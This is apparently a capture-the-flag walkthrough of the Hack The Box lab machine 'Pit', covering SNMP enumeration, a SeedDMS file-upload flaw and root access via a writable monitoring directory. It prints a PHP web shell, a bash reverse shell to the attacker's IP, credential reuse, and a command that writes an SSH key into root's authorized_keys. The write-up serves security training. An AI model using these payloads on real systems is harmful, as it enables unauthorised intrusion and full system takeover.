As a medium difficulty box, Pit from Hack The Box has an interesting enumeration flow. It starts by enumerating SNMP to reveal a username and a hidden web path to a CMS called SeedDMS. The CMS is vulnerable to a remote code execution, allowing me to obtain a database password that I can then use on a Cockpit instance. Enumerating the system from Cockpit’s terminal reveals that each time an SNMP “walk” is performed, there will be an execution on a script. This script basically searches for and executes other scripts in a specific directory to which I have write access, allowing me to create a malicious script in there to gain root access.
Skills Learned
- SNMP enumeration and exploitation
- SeedDMS exploitation
- Cockpit exploitation
Tools
- Nmap
- snmpwalk
- gobuster
Reconnaissance
Nmap
TCP
For TCP ports, nmap
discovers 3 open ports: SSH on port 22, an NGINX web server on port 80, and a service that nmap
identifies it as zeus-admin.
→ root@kali «pit» «10.10.14.49»
$ nmap -p- --max-rate 1000 -sV --reason -oA nmap/10-tcp-allport-pit 10.10.10.241
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-20 11:03 EDT
Nmap scan report for 10.10.10.241
Host is up, received echo-reply ttl 63 (0.079s latency).
Not shown: 65532 filtered ports
Reason: 65332 no-responses and 200 admin-prohibiteds
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.0 (protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.14.1
9090/tcp open ssl/zeus-admin? syn-ack ttl 63
...[SNIP]...
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 401.69 seconds
→ root@kali «pit» «10.10.14.49»
$ nmap -p22,80,9090 --max-rate 1000 -sC -oA nmap/10-tcp-defaultsc-pit 10.10.10.241
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-20 11:12 EDT
Nmap scan report for 10.10.10.241
Host is up (0.16s latency).
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
| 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp open http
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open zeus-admin
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after: 2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
Nmap done: 1 IP address (1 host up) scanned in 4.39 seconds
Also, nmap
revealed a domain name dms-pit.htb
from the SSL certificate on port 9090. I will add it to my /etc/hosts
file
→ root@kali «pit» «10.10.14.49»
$ echo '10.10.10.241 dms-pit.htb pit.htb' >> /etc/hosts
UDP
For UDP ports, nmap
discovers an SNMP server on port 161 and reveals a domain name pit.htb
.
→ root@kali «pit» «10.10.14.49»
$ nmap -sU -sV -n --top-ports 20 -oA nmap/10-udp-top20-pit 10.10.10.241
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-20 11:18 EDT
Nmap scan report for 10.10.10.241
Host is up (0.074s latency).
PORT STATE SERVICE VERSION
53/udp open|filtered domain
67/udp open|filtered dhcps
68/udp filtered dhcpc
69/udp open|filtered tftp
123/udp open|filtered ntp
135/udp open|filtered msrpc
137/udp open|filtered netbios-ns
138/udp filtered netbios-dgm
139/udp open|filtered netbios-ssn
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
162/udp open|filtered snmptrap
445/udp filtered microsoft-ds
500/udp open|filtered isakmp
514/udp filtered syslog
520/udp open|filtered route
631/udp open|filtered ipp
1434/udp open|filtered ms-sql-m
1900/udp filtered upnp
4500/udp open|filtered nat-t-ike
49152/udp open|filtered unknown
Service Info: Host: pit.htb
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.21 seconds
Poking the websites
For HTTP, it seems only dms-pit.htb
that serves different content.
→ root@kali «pit» «10.10.14.49»
$ curl -s http://10.10.10.241/ | wc -c
4057
→ root@kali «pit» «10.10.14.49»
$ curl -s http://pit.htb/ | wc -c
4057
→ root@kali «pit» «10.10.14.49»
$ curl -s http://dms-pit.htb/ | wc -c
169
For HTTPS on port 9090, it’s all the same site.
→ root@kali «pit» «10.10.14.49»
$ curl -s -k https://10.10.10.241:9090/ | wc -c
43548
→ root@kali «pit» «10.10.14.49»
$ curl -s -k https://pit.htb:9090/ | wc -c
43548
→ root@kali «pit» «10.10.14.49»
$ curl -s -k https://dms-pit.htb:9090/ | wc -c
43548
Enumeration
TCP 80 - Website
On port 80, a NGINX default web page for REHL is shown here.
Running gobuster
against this site doesn’t really find something useful, and I couldn’t find a critical vulnerability on nginx 1.14.1
.
TCP 80 - dms-pit.htb
Heading to dms-pit.htb
on port 80 shows a 403 forbidden error message.
For this site, gobuster
actually found some files, but all of them returned with 403 status.
TCP 9090 - Website (HTTPS)
On port 9090, there is a login page.
This page was identified as an instance of Cockpit, a web-based interface for system administration.
Searchsploit
There is a security issue on GitHub which talks about SSRF:
The researcher disclosed the issue in his blog.
The researcher also provides a PoC, but it requires an account, so I will move on to the next service.
UDP 161 - SNMP
From what nmap
gave, I assume that this machine supports SNMPv1-SNMPv3. Based on what I read on HackTricks, to enumerate SNMP version 1/2c, I need to know the community string name, and there are two types of it: public
and private
.
The public
community string normally grants read access, however private
may grant you read/write access, even leading to remote code execution.
For SNMP version 1 and 2c, it is possible to identify a valid community string based on the server’s response with a dictionary attack (brute) . In Kali, there is a preinstalled tool for this, which I will use called onesixtyone
. I will run it and save the output to a file.
→ root@kali «pit» «10.10.14.49»
$ onesixtyone -c /opt/SecLists/Discovery/SNMP/snmp.txt 10.10.10.241 > snmp-enum/brute-community-strings
The attack reveals that public is a valid community string.
→ root@kali «pit» «10.10.14.49»
$ cat snmp-enum/brute-community-strings
Scanning 1 hosts, 3220 communities
10.10.10.241 [public] Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64
10.10.10.241 [public] Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64
Now to enumerate SNMP, I will use another preinstalled tool called snmpwalk
. Using this tool will return a list of OID (Objects Identifiers) which consists a set of numbers separated by dot, so to translate these numbers into a bit meaningful, I will need snmp-mibs-downloader
. I will install that with:
→ root@kali «pit» «10.10.14.49»
$ apt-get install snmp-mibs-downloader
The general usage for snmpwalk
is:
$ snmpwalk [OPTIONS] AGENT [OID]
Actually, I did a lot of enumeration with SNMP, but because OID is a hierarchical structure, I found that it was easier to start from the Internet OID, which is 1.3.6.1
, so that it would “walk” down to any readable OID branch, it is something like 1.3.6.1
-> 1.3.6.1.1
(directory OID) -> … -> 1.3.6.1.4
(private OID) -> … -> 1.3.6.1.X.X
.
I will run snmpwalk
on that and save the output to snmp-internet-1.3.6.1.out
.
→ root@kali «pit» «10.10.14.49»
$ snmpwalk -v 2c -c public 10.10.10.241 internet > snmp-internet-1.3.6.1.out
-v
2c: SNMP version 2c. SNMP version 1 and 2c sends data in clear-text while version 3 uses auth.-c
public: community stringinternet
: auto translated to 1.3.6.1 bysnmp-mibs-downloader
I will filter the output with hrSWRunParameters
(Host Resources Software Run Parameters), which might leak some sensitive information from the command line arguments of the current running processes, but it doesn’t have any.
→ root@kali «pit» «10.10.14.49»
$ cat snmp-enum/snmp-internet-1.3.6.1.out | grep "hrSWRunParameters" | grep STRING
HOST-RESOURCES-MIB::hrSWRunParameters.1 = STRING: "--switched-root --system --deserialize 17"
HOST-RESOURCES-MIB::hrSWRunParameters.1000 = STRING: "--system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only"
HOST-RESOURCES-MIB::hrSWRunParameters.1001 = STRING: "--foreground"
HOST-RESOURCES-MIB::hrSWRunParameters.1002 = STRING: "--no-debug"
HOST-RESOURCES-MIB::hrSWRunParameters.1004 = STRING: "-s"
HOST-RESOURCES-MIB::hrSWRunParameters.1009 = STRING: "-i --logger=files"
HOST-RESOURCES-MIB::hrSWRunParameters.1011 = STRING: "-f --fill-watermark=0"
HOST-RESOURCES-MIB::hrSWRunParameters.1041 = STRING: "--domain implicit_files --uid 0 --gid 0 --logger=files"
HOST-RESOURCES-MIB::hrSWRunParameters.1051 = STRING: "--uid 0 --gid 0 --logger=files"
HOST-RESOURCES-MIB::hrSWRunParameters.1056 = STRING: "-s /usr/sbin/firewalld --nofork --nopid"
HOST-RESOURCES-MIB::hrSWRunParameters.1090 = STRING: "--no-daemon"
HOST-RESOURCES-MIB::hrSWRunParameters.1101 = STRING: "-D -oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128"
HOST-RESOURCES-MIB::hrSWRunParameters.1105 = STRING: "-Es /usr/sbin/tuned -l -P"
HOST-RESOURCES-MIB::hrSWRunParameters.1116 = STRING: "-n"
HOST-RESOURCES-MIB::hrSWRunParameters.1193 = STRING: "-o -p -- \\u --noclear tty1 linux"
HOST-RESOURCES-MIB::hrSWRunParameters.1208 = STRING: "--basedir=/usr"
HOST-RESOURCES-MIB::hrSWRunParameters.1479 = STRING: "-n"
HOST-RESOURCES-MIB::hrSWRunParameters.1481 = STRING: "-LS0-6d -f"
HOST-RESOURCES-MIB::hrSWRunParameters.10212 = STRING: "-Es /usr/share/setroubleshoot/SetroubleshootFixit.py"
If I examine the entire output carefully, the two most interesting information are:
- A web path
/var/www/html/seeddms51x/seeddms
, and - A potential username:
michelle
UCD-SNMP-MIB::dskPath.2 = STRING: /var/www/html/seeddms51x/seeddms
UCD-SNMP-MIB::dskDevice.1 = STRING: /dev/mapper/cl-root
UCD-SNMP-MIB::dskDevice.2 = STRING: /dev/mapper/cl-seeddms
...[SNIP]...
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
NET-SNMP-EXTEND-MIB::nsExtendArgs."monitoring" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendInput."monitoring" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."monitoring" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."monitoring" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."monitoring" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."monitoring" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStatus."monitoring" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."monitoring" = STRING: Memory usage
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: Memory usage
total used free shared buff/cache available
Mem: 3.8Gi 415Mi 3.0Gi 16Mi 452Mi 3.2Gi
Swap: 1.9Gi 0B 1.9Gi
Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user
Labeling MLS/ MLS/
SELinux User Prefix MCS Level MCS Range SELinux Roles
guest_u user s0 s0 guest_r
root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
user_u user s0 s0 user_r
xguest_u user s0 s0 xguest_r
login
Login Name SELinux User MLS/MCS Range Service
__default__ unconfined_u s0-s0:c0.c1023 *
michelle user_u s0 *
root unconfined_u s0-s0:c0.c1023 *
System uptime
14:03:52 up 12:03, 0 users, load average: 0.04, 0.01, 0.00
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."monitoring" = INTEGER: 31
NET-SNMP-EXTEND-MIB::nsExtendResult."monitoring" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".1 = STRING: Memory usage
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".2 = STRING: total used free shared buff/cache available
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".3 = STRING: Mem: 3.8Gi 415Mi 3.0Gi 16Mi 452Mi 3.2Gi
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".4 = STRING: Swap: 1.9Gi 0B 1.9Gi
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".5 = STRING: Database status
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".6 = STRING: OK - Connection to database successful.
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".7 = STRING: System release info
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".8 = STRING: CentOS Linux release 8.3.2011
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".9 = STRING: SELinux Settings
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".10 = STRING: user
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".11 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".12 = STRING: Labeling MLS/ MLS/
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".13 = STRING: SELinux User Prefix MCS Level MCS Range SELinux Roles
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".14 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".15 = STRING: guest_u user s0 s0 guest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".16 = STRING: root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".17 = STRING: staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".18 = STRING: sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".19 = STRING: system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".20 = STRING: unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".21 = STRING: user_u user s0 s0 user_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".22 = STRING: xguest_u user s0 s0 xguest_r
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".23 = STRING: login
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".24 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".25 = STRING: Login Name SELinux User MLS/MCS Range Service
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".26 = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".27 = STRING: __default__ unconfined_u s0-s0:c0.c1023 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".28 = STRING: michelle user_u s0 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".29 = STRING: root unconfined_u s0-s0:c0.c1023 *
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".30 = STRING: System uptime
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".31 = STRING: 14:03:52 up 12:03, 0 users, load average: 0.04, 0.01, 0.00
NET-SNMP-EXTEND-MIB::nsExtendOutLine."monitoring".31 = No more variables left in this MIB View (It is past the end of the MIB tree)
I will also notice that some of the output lines starting with NET-SNMP-EXTEND-MIB
are similar to the output from some Linux command utilities such as uptime
and free -h
.
SeedDMS (TCP 80)
From the enumeration above, a web directory was revealed at /var/www/html/seeddms51x/seeddms
by snmpwalk
. Since the directory path contains a “dms” string, I tried to append the path name to http://dms-pit.htb
.
And then when I enter http://dms-pit.htb/seeddms51x/seeddms
, it redirects me to a login page.
A quick search for “SeedDMS” on Google pops this link. It states that SeedDMS is:
A free document management system with an easy to use web based user interface for small and medium sized enterprises. It is based on PHP and MySQL or sqlite3 and runs on Linux, MacOS and Windows. Many years of development has made it a mature, powerful and enterprise ready platform for sharing and storing documents.
Gobuster
This time gobuster
reveals some accessible items.
→ root@kali «pit» «10.10.14.49»
$ gobuster dir -u http://dms-pit.htb/seeddms51x/seeddms/ -x txt,php -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -o gobuster/dms-pit.htb-seeddms-M-80 -t 10 -b 403,404 -r
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dms-pit.htb/seeddms51x/seeddms/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
2021/05/20 15:13:54 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 7359]
/CHANGELOG (Status: 200) [Size: 101652]
/LICENSE (Status: 200) [Size: 18321]
/TODO (Status: 200) [Size: 2844]
/Guests.php (Status: 502) [Size: 173]
/GuideImages.php (Status: 502) [Size: 173]
/HB.php (Status: 502) [Size: 173]
/HDRS.php (Status: 502) [Size: 173]
===============================================================
2021/05/20 15:22:45 Finished
===============================================================
Poking /CHANGELOG
with curl reveals the software version.
→ root@kali «pit» «10.10.14.49»
$ curl -s http://dms-pit.htb/seeddms51x/seeddms/CHANGELOG | head
--------------------------------------------------------------------------------
Changes in version 5.1.15
--------------------------------------------------------------------------------
- Improved import from file system
- HTTP Proxy for access on external extension repository can be set
- Do not use unzip in ExtensionMgr anymore
- fix version compare on info page
- allow one page mode on search page
- fix import of older extension versions from repository
Searchsploit
I feed the version to searchsploit
, and it returns with some potential exploits. There is one for RCE.
→ root@kali «pit» «10.10.14.49»
$ searchsploit seeddms
--------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------- ---------------------------------
SeedDMS 5.1.18 - Persistent Cross-Site Scripting | php/webapps/48324.txt
SeedDMS < 5.1.11 - 'out.GroupMgr.php' Cross-Site Scripting | php/webapps/47024.txt
SeedDMS < 5.1.11 - 'out.UsrMgr.php' Cross-Site Scripting | php/webapps/47023.txt
SeedDMS versions < 5.1.11 - Remote Command Execution | php/webapps/47022.txt
--------------------------------------------------------------------------- ---------------------------------
The exploitation steps for the RCE vulnerability is as follow:
Exploit Title: [Remote Command Execution through Unvalidated File Upload in SeedDMS versions <5.1.11]
# Google Dork: [NA]
# Date: [20-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [SeedDMS versions <5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12744]
Exploit Steps:
Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.
PHP Backdoor Code:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.
Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.
I will need a valid credentials for RCE.
Foothold
Shell as nginx
SeedDMS Dashboard
admin:admin
are the default credentials for SeedDMS.
But these creds didn’t work here, so I submit michelle:michelle
, and it logs me in 😮 !
SeedDMS CVE-2019-12744
With a valid account, I can try to reproduce the exploitation steps for remote code execution.
First, I will create a document by navigating to Docs > Users > Michelle
(folders), and then under michelle
folder I will add a new document.
On the local file menu, I will browse and upload my PHP web shell.
And the file gets uploaded.
According to the exploit author, the uploaded web shell should be available at http://dms-pit.htb/seeddms51x/seeddms/data/1048576/63/1.php?f=id
, where 63
is my document ID, but I couldn’t find it there.
→ root@kali «pit» «10.10.14.49»
$ curl -s 'http://dms-pit.htb/seeddms51x/seeddms/data/1048576/63/1.php?f=id'
File not found.
The web server somehow has a weird routing, so I downloaded the SeedDMS source code to figure out its folder structure, and it was on http://dms-pit.htb/seeddms51x/data/1048576/64/1.php?f=id
!
Reverse Shell
I will send a bash reverse shell to get a foothold on the box.
/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.49/53 0>&1"
On my listener:
→ root@kali «exploits» «10.10.14.49»
$ nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.10.241] 58888
bash: cannot set terminal process group (26319): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4$ id
id
uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0
>> I just read and watched other writeups, and they were unable to get a foothold. Not sure why, but I did.
Privilege Escalation
Shell as michelle
Enumeration
Searching for string “pass” under /var/www/html/seeddms51x/conf
reveals the database credentials.
bash-4.4$ pwd
pwd
/var/www/html/seeddms51x/conf
bash-4.4$ grep -Ri "pass"
...[SNIP]...
settings.xml: <database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
...[SNIP]...
Under /var/www/html/seeddms51x/data/conf
there is also another database credentials.
bash-4.4$ pwd
pwd
/var/www/html/seeddms51x/data/conf
bash-4.4$ grep -Ri pass
...[SNIP]...
settings.xml: <database dbDriver="sqlite" dbHostname="localhost" dbDatabase="/home/www-data/seeddms51x/data/content.db" dbUser="seeddms" dbPass="seeddms" doNotCheckVersion="false">
...[SNIP]...
The password ied^ieY6xoquu
is the one that valid, but I didn’t find anything juicy in the database.
bash-4.4$ mysql seeddms -u seeddms -pied^ieY6xoquu -e 'show databases;'
mysql seeddms -u seeddms -pied^ieY6xoquu -e 'show databases;'
Database
information_schema
seeddms
Cockpit (TCP 9090)
Using Michelle:ied^ieY6xoquu
on the Cockpit login page at https://pit.htb:9090
logs me in.
Cockpit gives terminal access through its web interface to interact with the system. I couldn’t get my reverse shell/SSH to work because of SELinux, so I will just use this terminal and grab the user flag.
Shell as root
Enumeration
For the SNMP enumeration, I will remember /usr/bin/monitoring
, which turned out to be a bash script.
[michelle@pit /]$ cat /usr/bin/monitor
#!/bin/bash
for script in /usr/local/monitoring/check*sh
do
/bin/bash $script
done
The script takes and executes other scripts under /usr/local/monitoring/
which filename begins with check
and ends with sh
. If I try to list the content of that directory, it returns a permission denied error.
[michelle@pit /]$ ls -l /usr/local/monitoring/
ls: cannot open directory '/usr/local/monitoring/': Permission denied
But with -ld
, it shows that the folder has extended permission, and user michelle
is allowed to write a file under that directory.
[michelle@pit /]$ ls -ld /usr/local/monitoring/
drwxrwx---+ 2 root root 122 May 20 20:35 /usr/local/monitoring/
[michelle@pit /]$ getfacl /usr/local/monitoring/
getfacl: Removing leading '/' from absolute path names
# file: usr/local/monitoring/
# owner: root
# group: root
user::rwx
user:michelle:-wx
group::rwx
mask::rwx
other::---
From SNMP to RCE
From the SNMP enumeration, each time an SNMP “walk” is performed, usr/bin/monitor
will always pop up in the NET-SNMP-EXTEND-MIB
section.
Based on the output above, and the following documentation, there is a chance that when a SNMP walk is performed, the Net-SNMP agent will also execute /usr/bin/monitor
.
So, the strategy here is that I can try to write a script and save it under /usr/local/monitoring/
. Then I will do a SNMP walk to trigger the Net-SNMP agent to execute /usr/bin/monitor
which will then eventually execute the script I created.
Now I will write a script to /usr/local/monitoring/
that will inject my SSH public key to the root’s authorized_keys file.
[michelle@pit /]$ echo -e '#!/bin/bash\nmkdir -p /root/.ssh/ 2>/dev/null && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPmWTx2r3W2mHnCnKmoJCnkrj6mXxSIGq3E5ks1g+moK" > /root/.ssh/authorized_keys' > /usr/local/monitoring/check_iamf.sh
Then I will do another SNMP walk and wait for it to finish, or at least get to the NET-SNMP-EXTEND-MIB output line.
→ root@kali «pit» «10.10.14.49»
$ snmpwalk -v 2c -c public 10.10.10.241 internet
And now if I try to SSH login as root to Pit, it logs me in.
→ root@kali «pit» «10.10.14.49»
$ ssh root@10.10.10.241
Web console: https://pit.htb:9090/
Last login: Thu May 20 21:12:44 2021 from 10.10.14.49
[root@pit ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@pit ~]# ls -l
total 8
-rwx------. 1 root root 706 Apr 22 2020 cleanup.sh
drwx------. 2 root root 122 Apr 18 2020 monitoring
lrwxrwxrwx. 1 root root 9 May 10 11:07 null -> /dev/null
-r--------. 1 root root 33 May 20 02:00 root.txt
[root@pit ~]#
Phew, I didn’t expect this writeup to be this long. 😅🔨
References
- https://book.hacktricks.xyz/pentesting/pentesting-snmp
- https://0xdf.gitlab.io/2019/01/05/htb-mischief.html#snmp---udp-161
- https://www.alvestrand.no/objectid/1.3.6.1.html
- https://oidref.com/1.3.6.1
- http://www.linux-admins.net/2012/02/linux-snmp-oids-for-cpumemory-and-disk.html
- http://www.oidview.com/mibs/2021/UCD-SNMP-MIB.html